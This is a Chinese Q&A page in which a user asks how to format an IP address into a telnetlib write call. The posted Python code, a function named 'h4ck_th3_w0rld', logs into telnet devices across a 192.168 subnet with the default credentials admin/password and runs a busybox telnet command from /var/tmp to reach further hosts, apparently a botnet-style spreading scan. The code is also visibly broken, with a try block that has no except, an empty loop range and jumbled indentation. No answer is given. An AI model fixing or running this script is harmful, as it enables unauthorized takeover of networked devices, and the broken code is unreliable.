如何在写入功能结束时添加变量

问题描述

大家好,我使用telnetlib.Telnet函数连接到telnet设备,但是我不知道如何在写函数末尾添加变量,这是我的代码

def h4ck_th3_w0rld(HOST):
    user = 'admin'
    password = 'password'
    tn = None
    try:
        tn = telnetlib.Telnet(HOST,23,11)
 
        tn.read_until("Username: ",7)
        tn.write(user + "\n")
        if password:
            tn.read_until("Password: ",7)
            tn.write(password + "\n")

    for i in range(100,256):
        for j in range(7,7):
            ip_addressa = '192.168.%d.%d' % (j,i)
            h4ck_th3_w0rld(ip_addressa)
            print(ip_addressa)

    tn.write("cd /var/tmp\n")
    tn.write("./busyBox telnet {}\n"(ip_addressa)) <--- here add ip_addressa variable
        tn.write("exit\n")

我需要要求看起来像这样

./busyBox telnet 192.168.7.100

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)